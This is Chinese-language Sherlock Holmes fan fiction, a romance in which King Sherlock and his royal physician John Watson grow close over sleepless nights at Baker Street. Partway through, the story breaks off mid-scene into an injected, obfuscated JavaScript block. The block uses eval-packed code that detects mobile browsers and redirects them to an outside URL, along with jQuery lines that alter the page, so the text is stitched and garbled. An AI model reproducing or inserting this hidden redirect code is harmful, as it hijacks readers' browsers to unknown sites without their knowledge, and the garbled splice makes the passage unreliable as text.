记录人：约翰·H·华生，皇家御医
地点：白金汉宫 / 贝克街221B（是的，国王偶尔会去）
日期：陛下又一次失眠之后
---
有些事情，在医学院里是学不到的。
比如怎么在凌晨三点被召进王宫，不是因为有人生病，而是因为国王“觉得无聊”。比如怎么在给陛下做例行体检的时候，还要听他分析三个小时前发生的谋杀案。比如怎么在所有人都在您面前跪下的时候，只有您可以站着——不是不跪，是陛下不让。
这些，教科书上都没有。
但生活教会了我。
---
缘起
我第一次见到夏洛克国王，是在一次宫廷宴会上。
那时我刚从阿富汗战场回来，被授予了军功章，作为“英勇的军医”被邀请进宫。我站在人群里，穿着不太合身的礼服，觉得浑身不自在。
然后人群突然安静了。
他走进来。
不是走，是飘——像一只黑色的猫，悄无声息地穿过人群。他穿着深色的礼服，领口系得很紧，脸白得不像真人。但他的眼睛——那双眼睛扫过人群，像是在看一群待解的数据点。
然后那双眼睛停在我身上。
他径直走过来。
周围的人自动让开，低头行礼。我不知道该不该跪——我是新来的，不懂规矩。
他没让我跪。
他只是站在我面前，低头看着我。
“约翰·H·华生。”他说。“军医，上尉，在阿富汗服役三年，两次负伤，获得过杰出服务勋章。你右腿的伤还没好全，但你今晚还是喝了三杯酒——你不在乎疼痛，或者你习惯了。”
我愣住了。
“陛下，您——”
“叫我夏洛克。”他说。“在这里，你可以叫我夏洛克。”
我看着他。
“陛下，这不合适——”
“合适。”他说。“因为我说的。”
然后他转身走了。
留下我站在原地，周围的人都用奇怪的眼神看着我。
后来我才知道，那是国王第一次在公开场合对一个人说“叫我名字”。
再后来，我被任命为皇家御医。
不是因为我医术最好——比我好的医生有的是。是因为他点名要的。
“为什么是我？”我第一次单独见他时间。
他正在看一堆文件，头也不抬。
“因为你的信息素。”
我愣住了。“什么？”
他抬起头，看着我。
“开玩笑的。”他说。“因为你是个士兵。因为你见过真正的战场。因为你不怕我。”
我看着他的脸。
“陛下，我——”
“夏洛克。”他纠正。
“……夏洛克。”我说。“您刚才说的那些，很多人都符合。”
他看着我。
“但只有你，”他说，“在第一次见我的时候，没有马上移开眼睛。”
我沉默了。
他继续看文件。
“留下吧。”他说。“我需要一个人在我旁边。不跪的那种。”
---
关于“不跪”
在宫廷里，“不跪”是个大事。
其他人见国王，要跪。首相要跪。大主教要跪。公爵要跪。
我不用。
第一次正式觐见的时候，我不知道规矩，准备跪下。他坐在王座上，看见我的动作，突然开口。
“别跪。”
我愣在那里，半蹲着。
“陛下？”
“我说别跪。”他站起来，走到我面前。“你站着。”
“可是规矩——”
“我的规矩。”他说。“在这里，我的规矩比你以前学的那些重要。”
我看着他。
他也看着我。
“约翰。”
“是，陛下？”
“你是我亲自选的御医。”他说。“你是军人。你救过人。你杀过人。你不用跪任何人。”
我站直了。
“是，陛下。”
从那以后，我在任何人面前都不跪了。不是不尊重——是陛下说的。
后来有一次，外国使节来访，看见我站着和陛下说话，脸色很难看。
“这个人是谁？为何不跪？”
陛下看了他一眼。
“他是我的御医。”他说。“他跪的时候，只跪在病人床边。你希望他跪你吗？”
使节的脸更难看了。
我在旁边，差点笑出来。
---
关于失眠
国王失眠，不是什么秘密。
宫里的人都知道，陛下晚上不睡觉，白天也不怎么睡。他半夜会在走廊里走来走去，会去图书馆看书，会站在窗台上看着外面的伦敦。
有时候，他会召我。
不是生病。就是召我。
第一次被召的时候，我紧张得要命。半夜两点，宫廷侍从敲门，说“陛下召见”。我穿好衣服，跟着侍从穿过长长的走廊，来到国王的私人书房。
他站在窗边，背对着我。
“陛下？”
他转身。
“约翰。”他说。“过来。”
我走过去，站在他旁边。
窗外是伦敦的夜景。王宫在高处，能看到整个城市。灯光星星点点，泰晤士河像一条黑色的丝带。
“陛下睡不着？”
“嗯。”
“需要什么吗？安眠药？热牛奶？”
他转头看着我。
“热牛奶？”
“呃……民间偏方。”
他看了我一会儿。
“那就热牛奶。”
我愣住了。
“陛下认真的？”
“我什么时候不认真？”
我没办法，只好去厨房弄热牛奶。幸好值夜的厨子还在，我用国王的名义要了一杯牛奶，热好，端回去。
他接过杯子，喝了一口。
“不好喝。”
“……那是牛奶，陛下。”
他看着我。
“但你的牛奶。”他说。“所以喝完了。”
他真的喝完了。
从那以后，每次他失眠，都会召我。不是每次都要热牛奶——有时候只是让我站在那里，陪他看着窗外。
有一次，我问他：“陛下为什么召我？”
他看着窗外的伦敦。
“因为你在旁边，”他说，“我可以安静。”
我不太明白他的意思。
后来我知道了。
他的意思是，他在我旁边，不用做国王。可以做夏洛克。
---
关于贝克街
有一天，他说要出宫。
“出宫？”
“是的。”他说。“去一个地方。”
“陛下，这不合规矩——”
他看着我。
“约翰。”
“……夏洛克。”
“你陪我去。”
我陪他去了。
他带我来到一条街，贝克街。一栋房子，221B。他打开门，走进去。
“这是——”
“我的。”他说。“私人的。不是王宫。”
我看着那个客厅。不大，有点乱，到处是书和奇怪的东西。有一个壁炉，有两张扶手椅，有一张沙发。
“陛下——夏洛克，这是？”
他坐在沙发上，看着我。
“这是我真正的家。”他说。“不是王宫。是这里。”
我站在客厅中央，不知道该说什么。
“以后，”他说，“你来这里找我。不用召见，不用通报。直接来。”
“陛下——”
“夏洛克。”他纠正。“在这里，叫我夏洛克。”
我看着他的脸。在这个小小的客厅里，他看起来不像国王。只是一个普通的、有点疲惫的年轻人。
“好。”我说。“夏洛克。”
他笑了。
从那天起，贝克街221B成了我们的地方。
王宫里，他是陛下。在这里，他是夏洛克。
我是他的御医，也是他的——
我也说不清是什么。
反正每次他失眠，会来这里。我也会来。我们坐在沙发上，他躺着，我坐着，看着窗外的伦敦。
就像现在。
---
今晚
他又失眠了。
不是召见。是直接来贝克街。我住在这里——他说“你住在这里，方便”。于是我就住在这里了。
凌晨两点，门开了。
他走进来，穿着便服——不是王袍，就是普通的衬衫和长裤。头发有点乱，像是用手拨拉过。
“夏洛克？”
“嗯。”
他走到沙发前，躺下来。
我走过去，坐在他旁边。
“睡不着？”
“嗯。”
“在想什么？”
他看着天花板。
“在想明天的国务会议。在想后天的外交使节。在想——”
他顿了顿。
“在想什么？”
他转头看着我。
“在想你。”
我愣了一下。
“我？”
“嗯。”他说。“在想你睡得好不好。在想你明天要不要陪我出宫。在想——”
他看着我的眼睛。
“在想你能不能坐过来一点。”
我挪了挪，靠近他。
他伸出手，握住我的手。
“约翰。”
“嗯？”
“你知道为什么我失眠的时候，只召你吗？”
“不知道。”
他看着我的眼睛。
“因为你的心跳。”他说。“很稳。很慢。我听着，就能安静。”
我的脸有点热。
“夏洛克——”
“还有你的信息素。”他说。“不是那种张扬的。是温和的，像——像热茶。”
我看着他。
“你说过。”
“说过吗？”
“第一次见面。”
他想了想。“对。说过。”
他握着我的手。
“约翰。”
“嗯？”
“你知道我在说什么吗？”
我看着他的眼睛。昏暗的灯光里，他的眼睛很亮。
“知道。”我说。“但我想听你说。”
他沉默了一会儿。
然后他坐起来，面对着我。
“约翰·华生。”他说。“你是我的御医。是我的朋友。是我唯一愿意让他站着的人。”
他顿了顿。
“也是我唯一想让他留在旁边的人。”他说。“不是国王需要御医。是夏洛克需要约翰。”
我看着他的脸。
“夏洛克。”
“嗯？”
“你知道我一直都在吗？”
“知道。”
“那你知道为什么吗？”
他等着我说下去。
我看着他的眼睛。
“因为我也需要你。”我说。“不是因为你是国王。是因为你是夏洛克。”
他愣住了。
然后他笑了。那种真正的笑，不是国王的那种，是夏洛克的那种。
“约翰。”
“嗯？”
“我可以吻你吗？”
我看着他。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301120|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“你是国王。你想做什么都可以。”
他摇了摇头。
“不是国王。”他说。“是夏洛克。夏洛克想吻约翰。可以吗？”
我笑了。
“可以。”
他吻了我。
在贝克街221B的沙发上，在这个属于我们的地方，国王吻了他的御医。
吻了很久。
分开的时候，他额头抵着我的额头。
“约翰。”
“嗯？”
“数据点已采集。”
“什么数据点？”
“你。”他说。“你的温度。你的心跳。你的吻。”
我看着他的眼睛。
“夏洛克。”
“嗯？”
“我也是。”我说。“都在采集。”
他笑了。
我们靠在一起，看着窗外的伦敦。
---
关于以后
后来，我们这样过了很多年。
王宫里，他是陛下，我是御医。我站着，他不让我跪。大臣们习惯了，外国使节也习惯了。
贝克街，他是夏洛克，我是约翰。他躺在沙发上，我坐在旁边。有时候他破案——是的，国王会偷偷破案，用他的话说“比国务会议有意思”。我是他的助手，帮他记录，帮他分析，帮他找杯子。
有一次，首相问：“陛下，华生医生对您来说，究竟是什么？”
他想了想。
“是我的。”他说。“他是我的。”
首相没再问。
那天晚上，我们在贝克街。我把这件事告诉他。
他笑了。
“他说得对。”他说。“你是我的。”
我看着他的脸。
“那你呢？”
他看着我。
“我也是你的。”他说。“一直都是。”
我握着他的手。
“夏洛克。”
“嗯？”
“我们这样，会一直吗？”
他想了想。
“会。”他说。“只要你愿意。”
“我愿意。”
他笑了。
窗外，伦敦继续流动。王宫在远处，灯光隐约。但在这个小小的客厅里，只有我们。
国王和他的御医。
夏洛克和他的约翰。
---
思维宫殿（贝克街分殿）
条目：关于约翰·华生
·身份：皇家御医，我的——我的约翰
·特征：心跳很稳，信息素像热茶，右腿有旧伤但从不抱怨
·特殊权限：可以站着，可以叫我的名字，可以半夜来贝克街
·重要数据点：今晚他说“我愿意”。他说的时候，眼睛很亮。
结论：
我当国王这么多年，做过很多决定。
最好的那个，是那天在宴会上，走向他。
另注：
明天国务会议结束后，要来贝克街。
他在等我。
---
今天
阳光从窗帘缝隙里照进来。
我睁开眼睛，看见他还在旁边。他侧躺着，面对着我，手搭在我腰上。阳光落在他的脸上，把他的睫毛照成金色。
“早。”他说。
“早。”
“你醒了多久？”
“一会儿。”
“在看我？”
“是的。”
他的嘴角弯起来。
“好看吗？”
“好看。”
他笑了。
我们躺着，握着手，看着窗外的伦敦。
这就是我们的日常。
国王和御医。
夏洛克和约翰。
---
——约翰·H·华生，皇家御医，记录于贝克街221B的一个早晨
---
后记：
后来有一天，麦考夫——国王的哥哥，也是实际上的“摄政王”——来找我。
“华生医生。”他说。“我弟弟的事，我知道。”
我等着他说下去。
他看着我的眼睛。
“谢谢你。”他说。“谢谢你在他旁边。”
我愣了一下。
“您谢我？”
“是的。”他说。“他以前不是这样的。睡不着，不吃饭，不和任何人说话。现在——”
他顿了顿。
“现在，他会笑了。”他说。“因为你。”
我看着他的脸。
“麦考夫先生——”
“我知道你们的事。”他说。“我不反对。我只是想告诉你——”
他看着我。
“如果有一天，你需要什么，告诉我。”他说。“为了他，我什么都愿意做。”
他走了之后，我把这件事告诉夏洛克。
他沉默了一会儿。
“麦考夫说的？”
“是的。”
他看着我。
“约翰。”
“嗯？”
“你知道吗，”他说，“他从来没对任何人说过谢谢。”
我愣了一下。
“你是第一个。”他说。“让他说谢谢的人。”
我握着他的手。
“夏洛克。”
“嗯？”
“我会一直在这里。”我说。“一直。”
他看着我的眼睛。
“我知道。”他说。“所以我才可以放心做国王。”
窗外的伦敦继续流动。
在这个城市里，有两个人——国王和御医，夏洛克和约翰——握着手，站在一起。
这就是永远。
---
——约翰·H·华生，全文终